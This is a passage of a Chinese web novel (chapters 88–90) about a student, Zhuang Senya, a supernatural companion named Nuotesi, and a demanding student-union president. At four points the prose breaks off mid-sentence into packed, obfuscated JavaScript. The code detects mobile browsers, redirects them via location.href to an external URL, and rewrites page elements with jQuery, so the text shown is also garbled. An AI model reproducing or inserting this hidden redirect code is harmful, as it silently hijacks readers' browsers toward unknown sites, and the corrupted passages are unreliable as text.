他声音听起来是循循善诱的,模样看上去也是洗耳恭听,这对庄森芽来说具有一定程度上的迷惑性。 她居然相信这个人会为她排忧解难,反应过来的时候,已经在诺特斯的身边坐下了。 庄森芽用胳膊肘拄着自己的双腿,身体向前倾着,头也微垂,“叫我准备好明早起点开会,然后下午又让我空出来,但没说具体要做什么。” 诺特斯看起来心情尚佳,身体往她的方向倾斜,话音里带着笑意,“你这是把人身自由都出卖给了对方啊,真可怜。” 这话他说的倒是没错,生产队的驴还管饭,然而到现在为止,别说一顿饭了,裴佑哲除了给她下达任务以外,连句‘干的不错’或者类似的话都没有,连最廉价的口头激励都不给她。 “反正只剩五天了,熬一熬总能过去。”说这话的时候,她斜眼看了诺特斯一眼,发现他手里的盒饭已经冷却了。 盒饭刚拿来的时候是热腾腾的,她吃的时候也是热腾腾的,对方本来也能吃上一口热饭,却因为帮她打扫场地的事情耽搁了。 庄森芽提醒他,“……后台休息室有微波炉,要不要加热一下再吃?” 男人一笑,“在关心我?” 她立刻板起脸,“怎么可能。” “我知道你是在关心我。”他音色笃定。 臭不要脸。她在心里点评。 好话听不了两句,就开始得寸进尺。 她噌一下子站起来,“没什么事我走了。” 场地也打扫干净了,任务结束,她没有在这里逗留的理由。 几乎是下一刻,身后传来诺特斯挽留的声音,“看在我给你带饭的份上,再听我说两句话?” 拿人手短吃人嘴短,道德底线让她立于原地。 庄森芽转过身来盯着他,“说什么?” “是关于白天那个没讲完的故事。” 听到这里,她来了兴致,“你讲。” 诺特斯用筷子戳着碗里的米饭,他手指十分灵活,将米粒夹成一个厚实的圆球,而后扔进自己嘴里,这才慢悠悠地张口,“我说到了哪来着?” 居然还需要她替他回忆,庄森芽只感到无语,“……莱王星岌岌可危,哈兰·戈斯出现,把星球的危机告诉了他的友人辛格。” “哦,你听出来我是在讲莱王星的事。” “听不出来才不正常吧。” 男人把盒饭放到一旁的座位上,娓娓道来,“这个哈兰,他身体不好,快死的时候,把自己的工厂托付给了朋友,也就是那个辛格。” 工厂……是指候鸟山工厂? 她猜大概率是这样。 白天的时候,诺特斯说哈兰·戈斯的家族掌握着合成某种物质的秘方,而这种物质是维系星球运转的重要资源,她十分怀疑,这种物质指的就是石剑醇。 而候鸟山工厂是就石剑醇的加工工厂,哈兰·戈斯、石剑醇、候鸟山工厂……稍微一想,一切就吻合了起来。 “但是呢,辛格其实是一个非常怕麻烦的人,他只想毫无牵挂地在天地间游荡。”诺特斯耸了耸肩,话音有些叹息,“可是,那毕竟是友人临终前的嘱托。无奈,他只好接管了工厂。” “候鸟山工厂?”庄森芽朝他确认自己的猜想。 诺特斯微微一笑,“是啊,候鸟山工厂。” “……” “接管工厂之后,各种各样的麻烦就找上他了。”他说,“他知道那是块烫手山芋,因为全星球的人都在觊觎工厂所产出的那种物质。” 话音到这里戛然而止,他又捧起一旁的盒饭吃了起来,把庄森芽晾在了一旁,似乎没有继续说下去的意图。 “然后呢?”她问。 诺特斯还在埋头吃饭,没回答她。 “你不会又要说未完待续吧。” “你怎么知道?”他口齿不清地说。 她几乎要翻白眼。 一个故事能被他拆得这么零碎,也是有够离谱的。 “爱讲不讲吧。”庄森芽没好气地留下这么一句话,转身往场地的大门走。 边走着,她边回想诺特斯刚才讲述的那个故事。 脉络很清晰,代入一些专有名词之后,故事就变成了:莱王星失去了自产石剑醇的能力,变得岌岌可危,而生活在其上的人类并不自知。哈兰·戈斯掌握着生产石剑醇的工厂,他在临终之前,把工厂交给了友人辛格。 而这些无疑就是《灵月十四》这部漫画的背景故事。 庄森芽很平静地接受了自己对笔下的世界近乎一无所知的这个事实。 比起这种她很早就知道的事实,她更在乎诺特斯所说的故事中的一个她从未听过的人名。 辛格——哈兰·戈斯的友人。 这个人是她所不了解的,从始至终就不知道有这样的一个人存在。 他会是谁? 他接管了哈兰·戈斯的候鸟山工厂,而诺特斯是在那之后把工厂占为己有的吗? 疑惑在她的心里种下了小小的种子,然而故事未完待续,真相只掌握在那个男人的手中。 劳累了一整天,庄森芽回到宿舍,几乎是倒头就睡。 夜晚对于沉眠的人来说总是过得很快,她再睁眼,迎来的已经是‘一周情侣’的第三天。 昨日的疲惫一洗而空,今日的征程正在等她。 可只有老天爷知道,她多想当个逃兵。 待到万物从清晨中苏醒,她就又要开始受到学生会主席的压榨,一想到这里,胃部就一阵难受。 为了让自己的今天好过一些,她从笔筒里找到了一根眼线笔——这是上大学之前她老妈送给她的,是想让她学会多多打扮自己,可庄森芽却拿它用来在稿纸上试色,甚至有几次顺手用它在教材上做标记,完全没把它当成一根眼线笔对待。 她把它从笔筒里拿出来,打开盖子,在掌心划了一道,还好,它还没有因为她的摧残而罢工。 从纸抽里抽出一张纸巾,她将眼线笔的液体晕染上去,然后对着镜子,用染黑的纸巾往自己的眼睛下方按压。黑色的阴影出现在眼袋的位置,脸庞顿时看起来有种熬夜过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14418767|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的倦怠。 效果比预想得要好,她伸手将黑色的印迹抹匀,让它看起来更加自然,对着镜子左右摆头观察,十分满意现在自己这幅憔悴的模样。 希望在看到她的样子之后,裴佑哲能稍微手下留情…… 早七点,庄森芽来到了外联部会议室,在其中不怎么意外地看到了诺特斯的影子。 男人给自己挑了把椅子坐着,正在玩手机,周围的参会人员仿佛都看不到他,完全意识不到房间里有一个不属于外联部的不请自来人士。 庄森芽也假装没看见他,坐在诺特斯的正对面,将对方的一举一动纳入眼中,这让她有种能够掌控局势的安全感。 没过多久,人员到齐了,她在其中毫不意外地发现了学生会主席的身影,他就像一个尽职尽责的监工,在庄森芽没有到达他所要求的标准之前,丝毫也不打算放过她。 裴佑哲坐下来之后看了庄森芽一眼,而后目光就不挪动了,直白地打量着她脸上疲惫的‘痕迹’。 庄森芽被他看得有点紧张,生怕叫他看出什么端倪,于是自发地站起来,跑到讲台前面去,在电脑上准备着今天演讲所需要的幻灯片文件。 部长段子良趴在桌面上呼呼大睡,其他外联部成员都是一副困乏的模样,故而当庄森芽认真开始讲述联谊事宜的时候,现场的人中只有裴佑哲一个人在认真听,模样看起来就像是在评判学生答辩的老师。 “……从南大门进入之后,大约十分钟的步行路程,就可以抵达活动场地……” “……这次活动在开始之前,希望保持一定的神秘感,所以需要分拨次让男生女生入场,避免他们在场外先发生接触……” “……本次参与活动的外国语学生主要以大二、大三学生为主,专业分布比较广泛,届时场内的小游戏建议选择一些具有共通性的项目,比如关键词歌唱比拼,俯卧撑耐久比赛之类。具体的方案后面会再次进行陈述……” 庄森芽几乎是照着诺特斯提供的那篇文档念稿,基本没怎么费力。 幻灯片抵达最终一页,她做了一番陈述性的结语,问下面的人还有没有什么问题。 段子良在睡梦中举起一个大拇指,声音从手臂中传出来,“没有问题。” 过了部长的这一关,庄森芽的目光落在学生会主席的脸上,她屏息凝神,观察着对方的反应。 裴佑哲手里捏着一只笔,在指尖熟练地转着圈,他垂着眼眸,一时无言。 庄森芽有点紧张地盯着他,不知道这个决定了她考核成败的人现在心里在想些什么。 是不满意,还是挑不出刺来……? 另一边,段子良打了个哈欠,从座位上坐直了,伸了个懒腰。曾经她大清早拉着部员开会的时候,倒是很意气风发,现在轮到她被主席拉着大早上开会,却也变得精神不振,“森芽,干得不错,后面把文件发给我就行了。” “好的,部长。” 段子良偏头去看裴佑哲,模样看着有些痞坏,口吻并不怎么尊重地位高她一头的主席,“怎么着,还有什么想说的吗,大领导可还有什么不满意的地方?” 裴佑哲的身体往椅背上靠去,他平静地说,“没有。” “行了,散会。”段子良立刻下达了指令。 那群几乎是来凑数的外联部成员如鸟雀一般散去,该回去补觉的补觉,有些被闹精神的则选择结伴去吃早饭。 88. 私心过载 人群如潮水般褪去,这之后,会议室里就只剩下了庄森芽和裴佑哲两个人——如果不包括那个在一旁把手机玩得不亦乐乎的诺特斯的话。 她忙着整理电脑上的文件,把临时文件塞进垃圾桶,再把垃圾桶清除,保证下一个使用电脑的人不会看到它,虽然也不是什么机密,但这种学生会活动文件最好还是不要在公用电脑上留档。 另一边,学生会主席留在座位上没动,模样若有所思。 庄森芽清理文件的时候,他蓦然张口。 “是你一个人做的?” 听到他的问话,庄森芽抬起头看了对方一眼,又有点心虚地移开视线,“嗯,是我一个人……” 她故意放轻了声音,话语也拉长了,显露出一种疲惫的姿态,试图借此换得对方的同情。 可配佑哲看起来似乎不为所动,他就像是个无情的资本家,一点喘息的时间也不给员工留,“看样子是我低估了你的能力,你完全可以承担更重要的任务。” 听到这句话,庄森芽心中顿时欲哭无泪。 不要啊…… 怎么事情会朝这个方向展开?她高效快速完美地完成任务,不是为了让更多的任务压在双肩上啊……! “哇,真可怕。”一旁隐身玩手机的诺特斯点评道,“尤梭的原型居然是这样的人,难怪那么难缠呢。” “今天下午的其他事情推掉了吗?”裴佑哲问她。 庄森芽心里有种不好的预感,可嘴上还是回答,“推、推掉了。” “好。”魔鬼开始发言了,“下午有一个展会,是很重要的正式场合,你陪我去一趟,衣装务必得体。” “什么展会?”她问。 “车展。” “在校园里?” “在校园外。” 校园外……?这还是学校的事务吗? 没等她把这个疑惑问出口,就见裴佑哲上下打量着她,将人浑身都看了个遍,似乎还在心里评价了些什么。 庄森芽还没弄明白他在看什么,余光就见诺特斯站了起来。他来到她身旁,把桌子当床一样侧躺了上去,正好挡在她和裴佑哲之间,一手拄着脑袋,表情似乎有点不满,紧盯着庄森芽。 “我能解除隐身吗?我不喜欢他这么盯着你。” “不行……!”她情急之下脱口而出。 对面的裴佑哲微微皱眉,“什么?” “啊不是。”庄森芽连忙收回前言,“我是说,可以……” 主席无视了小小的插曲,音色冷漠又无情,“你回去把衣服换掉,穿裙子和高跟鞋,没有的话现在就去买,配饰不用你自己带。” 这是把她要穿什么都安排好了,庄森芽愈发不理解,究竟是什么场合啊,居然对着装还有这么严格的要求。 挡在庄森芽面前的诺特斯捋了一把头发,他看起来有点烦躁,嘟囔着,“果然戏里戏外我都不喜欢他……” “下午两点我去206宿舍楼下接你,到时候准备好。”裴佑哲说完这句话,起身便离开了会议室。 他离开之后,庄森芽顿时觉得轻松了许多。 何曾想,有朝一日,裴佑哲居然也会给她这样的压迫感,曾经那个温柔的学长似乎已经一去不复返了。 她正盯着主席离开的门口,一只手却捏着她的下巴让她扭过头来,诺特斯已经解除了隐身,争夺着她的注意力。 “有裙子吗?”他问。 “没有……”庄森芽如实作答。 自己的衣柜里的服装以黑白灰三色居多,运动服和休闲服占了大半,她不是没有自己的品味,偶尔也会穿一些颇有个性的打扮,不然对不起染白的这一头头发,只不过,裙子一直属于稀有物种,几乎不会在她的衣柜里出现。 “高跟鞋呢?”诺特斯又问。 对于一个偶尔会平地摔的人来说,那种高难度的刑具,鞋柜里肯定也不会存在。 “也没有。”庄森芽说。 诺特斯露出一个笑容,“很好,这两件交给我,你不用管了。” “你要替我搭配?” “没错。”诺特斯看起来信誓旦旦,他从桌子上窜下来,往窗户的方向走,身体就那么融了进去,“半个小时之后回来,等我。” 说着,身影消失在了墙壁后面。 对于对方这种不走寻常路的举动,庄森芽已经见怪不怪了。 她不知道诺特斯怎么突然对这些来了兴致,不过从那家伙平日的穿着来看,品位应该不会差到哪去,经常有演出需要的人眼光应该还不错吧……?总之不至于捡两个塑料袋回来往她身上套。 于是乎,庄森芽心安理得地把这件事交给了对方。 半个小时后,她在小卖部买早餐。 在简易的餐位上坐下来剥鸡蛋壳的时候,诺特斯出现了,他拎着两个纸袋子,坐在了庄森芽的对面。 “喏。”他把它们递过来。 庄森芽在纸巾上擦了擦手,接过来,敞开,其中一个带子里面是一条黑色的裙子,另一个里面装的是方方正正的鞋盒。 她把裙子抽出来,手感不禁让她有点讶异,就像是柔软的细沙一样,在手上嗖一下子就滑了下去,差点没抓住。 她站起来,提着双肩把它展开,这是一条修长的长裙,长度差不多要到她的小腿,是长袖款,秋天穿正合适,裙子看起来简单朴素,除了剪裁缝之外,几乎没有任何其它凹凸不平的装饰,而且似乎刻意弱化了曲线,不是条优雅的长裙,更像是直上直下的道袍。 加之纯黑的颜色,过分一点,说是出殡穿的也不为过。 “……”庄森芽看了一眼诺特斯,后者正在剥她剥了一半的鸡蛋,似乎不打算就这条裙子解释什么。 她又翻出鞋盒,把盖子掀开,里面躺着一双黑色的高跟鞋,她摸了摸它,内里的面料很舒适,但造型上就不那么让人恭维了,粗跟,圆头,甚至看起来有点笨重。 ……这是什么品味。 “你认真的?” 诺特斯剥完了一颗鸡蛋,把它放在一旁的空塑料盒里,转而去剥下一个,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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庄森芽捧着东西回到自己的宿舍,结果对方居然先行一步出现在她的座位上等她,现在是上午九点半,舍友们都出去吃早饭上课了,宿舍里只有他们两人。 这人简直像是个狗皮膏药似的甩都甩不掉,从两天前开始就是这样,看起来也不像是有什么正事找她,只是单纯在她周围晃来晃去。 “出去,你在这我怎么换衣服?”庄森芽呵斥他。 诺特斯扬扬眉,拉着椅子换了个方向,面朝着窗台,背对着她,“请。” 庄森芽狐疑地盯着那个背影,她不太相信男人会像他说的那样老实。 她灵机一动,打算试他一试,把裙子从口袋里翻出来,双手抓着它摩擦,发出悉悉簌簌的声音,如果闭上眼睛去听的话,听着好像真的是在换衣服。 她模拟了半天,可男人还是盯着窗户望天,居然真的老老实实规规矩矩地一次都没有回头。 奇了怪了,她印象里他就不是什么检点的人。 89. 学习新事物和上刑没什么区别^^…… 衣物的摩擦声停了下来,男人侧过头来问:“换好了?” “没有……转回去!” 诺特斯闻言照做。 虽然他现在看起来好像挺听话的,但庄森芽百分之百确信这是他伪装出来的假象。 她来到卫生间门前,卫生间在宿舍的入口,正对着洗手池的镜子,把卫生间的门打开,正好能挡住诺特斯的视野。 于是她把它敞开,给自己形成了一个换衣间一样的密闭空间。 脱下休闲上衣和长裤,把带着标签的黑色长裙翻出来,从上到下套在身上,它有些重量,带着些高贵的垂坠感,她侧过身来打量着镜子里的自己,白色的长发之下是黑色的长裙,整个人的模样看起来像是某个宗教仪式上唱祷歌的少女。 “这不是挺不错吗。” 突然,卫生间的门合上,诺特斯不知道什么时候来到了近处,时间把握得刚刚好,就仿佛知道她什么时候会把衣服换好。 庄森芽吓了一跳,有种隐私被打探的感觉,脚下一阵慌乱,往后退去,咚一下子撞在宿舍门上,弄出一阵巨响,这才反应过来自己不是赤身裸体,身上还罩着一层裙子呢。 她的动作惹得诺特斯开心地笑起来,“来,我帮你把标签摘下来。” 盯着那只袭来的魔爪,庄森芽贴紧了宿舍门,“……我自己可以。” “你连标签在哪都看不到。”诺特斯没理会她的抗议,温柔地扳过她的肩膀,在颈后鼓捣着什么。 只听啪的一声,什么东西断了,她回过头去,看到诺特斯手里捏着一个由几片小硬纸板构成的商标,它们被一根粗线串在一起,刚才诺特斯居然是硬生生把这根线拽断了。 ……好恐怖的臂力。 紧接着,男人转身蹲下去,将鞋盒从纸袋子里掏出来,又把那双粗跟的高跟鞋翻出来,单手捏着其中一只,用鞋尖冲着自己,示意庄森芽抬脚穿进去。 “看看大小合不合适。” 她有点紧张,按理来说被人伺候应该感觉很舒适才是,但当这个人是诺特斯时,她却觉得自己手脚变得像是洋娃娃一样,别扭得动都不会动了。 她想自己穿,但又不想破坏这种气氛——也不知道是什么气氛,总之让人有点鬼迷心窍。 于是鬼使神差地踩掉运动鞋的鞋跟,配合地穿进那只高跟鞋中去,只是动作稍显僵硬。 诺特斯单手将她穿进鞋里的脚握在手里,调整了一下角度,又把它放在地上,抬眼看她,“挤不挤?” 她没直视他的眼睛,艰难地驱动双腿,活动了一下,有点诧异地发现居然非常合适,“不挤……” 鞋这种东西非常难买,就连自己亲自去试偶尔都有可能买到不合适的回来,但诺特斯买回来的这一双仿佛像是为她的双脚量身定做的一样,庄森芽甚至感觉不怎么需要和它磨合。 简直令人匪夷所思,他怎么知道她穿多大的鞋码? 诺特斯站起来,手臂穿过她的腋下,轻轻扶住了她的腰,“穿另一只。” 庄森芽原本还不理解他这番动作,可是当她把另一只高跟鞋给穿上,两只脚都踩进了这刑具之中,一下子重心不稳被对方接住的时候,她可算明白刚才那些预先的动作都是为了什么了。 “唔啊……!” “别急,先试着站直。” 她抓着对方的胳膊,感觉自己像个不倒翁一样,脚腕软绵绵的,每每想发力就带着身体东倒西歪,半天也站不直。 诺特斯轻笑一声,竟然是干脆把她抱了起来,让两腿放直了,这才把她放下去。 庄森芽像是壁虎一样紧紧攀着男人的两条胳膊,双腿像是没有肌肉一样直打颤。 明明只是最基础款的粗跟高跟鞋,跟都没有多高,可是驾驭起来却几乎要了她半条命。 等到能站稳了,诺特斯就开始带着她走路,她感觉自己仿佛一下子回到了几岁的时候,连直立行走都不会,只能亦步亦趋地学着大人的步伐。 在宿舍走了几个来回,诺特斯松开了一只手,只留另一只牵引她。指尖搭在对方的虎口,她现在的模样像极了红毯登台的女星——因为拍摄事故而瘸了的那种——在男伴的牵引下艰难地往摄像机的聚焦点走。 “你学得很快。”诺特斯的目光时刻关注着她的双腿,似乎是为了随时拯救意外局面,“保持这个节奏,很好。” 上一次被如此哄劝着已经不知道是什么时候的事情了,她下意识觉得有点难为情,可是专注力又不得不全部投入在和高跟鞋的较量之中,导致没精力去想那些别的事。 咯哒,咯哒,鞋跟与地板发出庄重的响声,它越来越平稳,也越来越快速。 庄森芽感觉自己似乎渐渐掌握了技巧,身体要放轻松,不要总想着和它对抗,把它当成双腿的一部分,肌肉就会自主调节,在发力的时候将脚下的坡度也考虑进去。 渐渐地,她松开诺特斯牵引着她的手,已经能够仅靠自己站立。 她站在宿舍门口,打算以这里作为起始点,对向的窗户作为终点,独自行走一遭,验证一下刚才的所学。 过程中,一开始还有些摇晃,但走了两步之后便顺畅了起来,这时候不能停下,停下就会又变得磕磕绊绊。 她像是走钢丝一样,脚下小心翼翼,注意力都集中在控制身体的平衡上。 一步……两步,窗口透进来的晨光越来越近,她感觉自己似乎在走向什么光明的圣地。 诺特斯跟在她的身侧,像是个尽职尽责的教练,时刻留意着意外情况的发生。 三米,两米,一米……她到达了终点。 扑在窗沿上,阳光洒在脸庞,她完成了最终这次独自一人的考验。 “成功了!”庄森芽转过头来,开心地说,晨光将她的发丝和鼻梁都照得透明,就像是要溶解在光中一样。 诺特斯也站在光明之下,强烈的光线将他的眸子照得有点浅,金棕色的眼眸变成了秋菊似的黄;脸上的阴影都被照亮,轮廓也变得柔和起来,他的眼神是带着笑意的。 盯着他,一时间,庄森芽有点愣神。下一刻,她移开了视线,感觉脸颊被阳光刺痛了,微微灼烧起来。 “看来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439677|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你已经能很好地驾驭它们了。”诺特斯说,脸上陡然浮现不带恶意的调笑,“我的女孩学什么都快。” “说什么呢,谁是你的……!”虽然知道那应该只是一种口癖,不清楚是哪种语言给他带来的恶习,但庄森芽还是抱怨了一句。 高跟鞋的练习算是结束了,她往自己的座位上走,情绪尚还在激动之中,动作剧烈到差点扭了脚。 把椅子拖到衣柜前面,她坐下来,从凌乱的柜子里面翻找自己为数不多的挎包。 现在她浑身上下黢黑黢黑的,需要一点颜色上的提亮,选了个白色的皮包出来,它小巧精致,最多只够塞手机和一包纸巾。 把它挂在单肩上,慢悠悠挪到镜子前面,她对这个搭配勉强还算满意,就是看起来有点别扭,不太像自己,这种风格的打扮她鲜少尝试。 诺特斯在一旁饶有兴致地看她,但庄森芽没注意,她现在的关注点都在自身的搭配上。 如果能再戴些亮色的配饰就好了,现在看起来实在有点素……不过裴佑哲之前说不需要她准备首饰之类的,索性也就懒得管了,反正自己能拿得出手的饰品也没几个。 今天上午难得没课,她对镜来来回回打量了许久,又用卷发棒给自己的发帘卷了几个弯,现在整个人看起来终于不太像是去参加葬礼的吊唁者了。 时间一转,来到了临近两点。 庄森芽在约定的时间来到了宿舍楼下,站在屋檐下的台阶上,四处寻找裴佑哲的身影;而诺特斯则又开启了他便利的隐身,像个卫星一样在她周围旋转。 206宿舍楼楼下不远就是学校的西大门,大门设有一个车辆的出入口,往南走直通校园外部的环道,北边则是一个停车场。 平日里进入这个门的车辆并不多,停车场上也没有几辆车,这个门毕竟还是距离的宿舍区比较近,学生中会开车的不多,而且平时就住在校园里,用车的需求也不大,校内驾车较多的还是领导和教师们。 所以,此刻,当一辆深蓝色跑车停在大门口的时候,立刻就像磁石一样吸引了不少学生的注意。 而当这辆车的车门打开、走下来一个学生会主席时,周围的人更是超新星爆炸一样炸开了锅。 裴佑哲穿了一身晃眼的白,白西装,白裤,白马甲,里面是浅蓝条纹衬衫,短发用发胶定型,干净整洁,整个人看起来一尘不染,与他平日里的模样相比,可谓相当高调。 他靠在车门边上,抬起手臂,盯着手腕上一只白腕带深蓝表盘的腕表,而后,他目光扫过206宿舍楼的入口,看到了台阶上一身黑裙的庄森芽。 他越过众人,朝她招招手,立刻有围观者的视线闻讯而至,庄森芽不由紧绷起来。 压力好大……!要众目睽睽之下走到那个耀眼夺目的人身边去,她只觉得有点寸步难行。 和裴佑哲相比,她顿时感觉自己像是乡下来的,穿着造型最简单的朴素长裙,头发随意地披散着,刚才用卷发棒做出的鬓角在现在看来只是些不成熟的徒劳修饰,没有为整体增加半分亮点。 差距太大了。 90. 那烧的是汽油吗,是副驾的命^^…… “排场真大啊。”诺特斯的声音在一旁响起,他靠在一根立柱上,悠悠然盯着校门口引发了不小骚动的人,“这小哥个性居然都和尤梭差不多,喜欢哗众取宠。” 庄森芽完全没听诺特斯说了什么,一种畏缩的情绪包裹着她。 也不知道这是怎么了,她从不觉得自己是个容易自卑的人,可是在这幅气场的裴佑哲面前,却有点抬不起头来。 她不喜欢这种感觉,潜意识不认为自己比谁差,可周围的那些打量的视线使人动摇,刺探的目光直白地将她与那个人对比,贬义的斜睨否定着她的价值。 她迈步不动脚步,她不想走过去,她的自尊在抗拒。 “怎么了?”似乎觉察到她的不对劲,诺特斯开口问。 庄森芽瘪瘪嘴,小声说:“……他太耀眼了。” 对方顿了顿,而后竟噗嗤一声笑出来,丝毫也不遮掩一下,“你怎么像个畏光的小蝙蝠一样。” 她扭头瞪他,话语从齿缝间钻出来,“还不是都怪你选的这条裙子……!” 男人的眉毛耷拉下来,露出退让的神色,竟显得有点委屈,“对不起?” 她知道那是他在装模作样,她可太清楚了。可是看到对方的模样,庄森芽便感觉自己的胸口一阵酸胀,就像有人在那里撒上了一把胡椒粉。 连忙避开视线,不被塞壬蛊惑的最好办法就是捂住双耳,而不被蛇妖欺骗的最好方法就是避免直视。她已经在前者上吃过一次亏了,就是酒店听他唱歌的那次。她不会再犯相同的错误,一个人起码不应该在同一个地方跌倒两次。 但是说真的,她真的有那么讨厌诺特斯送的这条裙子吗? 其实并没有。 它的面料很柔和,剪裁得体,不会拘束,穿起来十分舒适。就像一个用夜色涂抹的保护壳,身在其中,她可以想做什么做什么,不用刻意去装作一个淑女,也不用小心翼翼地才能弯下腰去。 滴滴—— 鸣笛声传来,庄森芽顺着望过去,看到跑车的门向上掀起,旁边的人似乎等得有些不耐烦了。 而就是这一幕激起了更严重的退缩之心。 虽然一切都还没开始,她却已经有了这样的感觉——这次即将到来的陪同之中,无论裴佑哲有怎样的期望,她都觉得自己都无法达成。 他会用他的精明制裁她的愚笨,用经验打败她的天真。 而她则会在他脸上看到失望的表情,会让他感到厌烦、嫌恶。 就像是现在这样,只是因为迟疑了半晌,却已经让对方失去耐心了。 接下来的情况也一定不会好到哪去。 归根究底,这是一场考核,她怀疑这个已经不再仁慈的裴佑哲会让她的自尊粉身碎骨。 好可怕,果然还是不去了…… 脚步往后退了半步,庄森芽打起了退堂鼓。 但下一刻,肩膀却被什么人按住了,未等回头,一个声音在耳旁响起。 “不用害怕。”塞壬低吟,“你仔细看看他,用你的双眼好好看看。” 她不懂诺特斯在说什么,盯着跑车旁的学生会主席,而后者的面容无疑已经因为漫长的等待而凝固起来。 “那只是一只华而不实的白孔雀,”身旁的男人说,“开屏虽然唬人,色彩却是单调的。” 她因诺特斯的形容而感到迷惑,但懵懵懂懂又有点明白他在说什么。 “在你艺术家的眼眸中,不觉得那很空洞吗?”诺特斯在她耳畔诱导着,声音又轻又柔,像是按住了尤克里里最远端的指板,又用指尖轻轻拨弄琴弦,“他只是个纸老虎。可你,我最勇敢的小姐,你才是货真价实的黑珍珠。” 话音刚落,庄森芽感觉背后被人推了一下,停滞已久的脚步终于迈开,走下第一个台阶,然后是第二个。 她没有回头,因为男人说: “继续走,我在你身后。” 双腿踏着高跟鞋来到平地上,退缩的情绪在身体里一点一滴地消亡。 她尽量放轻自己的声音,以便只有周围离她最近的人听得到她的声音,“我会死得很惨。” “你不会。”他否定。 不知为何,尽管退意仍在,她却迈开脚步,穿过住宿区的步行街。 来往的学生们直白地打量着穿得像是灰姑娘一样的人,而被他们盯着的人目不斜视。 “我以后会没脸见人的。”她小声说。 “不,你会受更多人的喜欢。” “你这算是在捧杀我吗,诺特斯。”她凄惨地笑,向前迈进的脚步却是停不住了。 “如果能奏效的话,当然好。”他说,“我还是喜欢你更高傲一点的模样。” “那你就不应该拿来这条裙子。”她老话重谈,还是有点介意自己的穿着。对方话里好像有什么不太对的东西一晃而过,但介于他已经说了太多让人误解的话,庄森芽怕脑袋宕机,索性全都忽视了。 “你不需要一条华丽的裙子来证明自己。” “但有总比没有强吧?” “好吧,好吧。这个另当别论,好不?”他音色带上些恳求,语速加快了些,显得有点心虚。 庄森芽来到那辆让人望而却步的跑车旁,站定在那个面容严峻的学生会主席面前,扬起头颅,睫毛在微微颤动,她努力控制着身体里的怯意,“我准备好了。” 裴佑哲上下打量了她一番,垂眸沉默了半晌,“这就是你所谓的准备。” 来了,审问它来了。 庄森芽感觉自己的胃部有些紧绷,那是压力在作祟,她故作镇定,“裙子、高跟鞋,我都穿了,首饰是你说不用我搭配的。” 裴佑哲抬起眼睛盯着她,视线一瞬间锐利得像高空盘旋的鹰,但这种神情只出现了片刻,“……是你自己选的?” “我就这么一套裙子。”她出口成谎。 裴佑哲的脸色不太好,看起来对她今天的穿着相当不满意。 庄森芽也觉得以她现在了装扮上这辆跑车有点不合适,但管它呢,人都站在这了,他总不能赶她走吧。 “……上车。”或许是因为周围有许多双眼睛,学生会主席没有继续为难,顾自上了主驾驶。 她来到另一侧,捏着车把,照猫画虎地把车门往上提,它慢悠悠地敞开了,庄森芽的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14449202|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 憋得有点红。 这也太重了! 车门打开,里面是仅有一排的座位,以白色为主色调的皮革座椅看起来很干净。 她一条腿跨上去,差点没把裙子扯断。 不是,这槽帮也太宽了吧! 好不容易把自己扔进了车里,一股车载香薰的气味扑鼻而来,虽然很好闻,但她无暇享受,因为正忙着和车门较量。 翅膀一样张开的车翼不但打开困难,连关上都那么费劲,她两手握住车把,感觉快要把自己吊起来了,它才给了她点面子,慢悠悠扣了下来。 折腾这么一番,额头都开始微微冒汗,好在没出什么洋相,终于是平稳地坐进了车里。 围观人群的视线被防窥膜阻隔,被盯着审视的感觉消失了,她这才感觉轻松了一些。 “安全带。”裴佑哲的声音在一旁响起。 收到提示,庄森芽连忙抓过来扣好。学生会主席一副不管她死活的模样,从刚才到现在,整个过程中都没有提供任何援助。 她心想,这一定也是考核的一环。 幸好自己就算没坐过跑车也见过车跑,不至于啪唧一下子摔在起跑线上,落得个狗啃屎的开局。 跑车的座位不是那么舒适,为了安全性牺牲了一些体验,她在座位上扭动着,寻找一个安放自己的角度。余光瞥见裴佑哲在主驾驶上操作,主席的目视着前玻璃,手下动作十分娴熟,连看都不看。 启动键按下,尾翼处响起巨大的嗡鸣,她说不好那是什么动静,听起来像是狂风刮过,鬼哭狼嚎,弄得她一激灵。 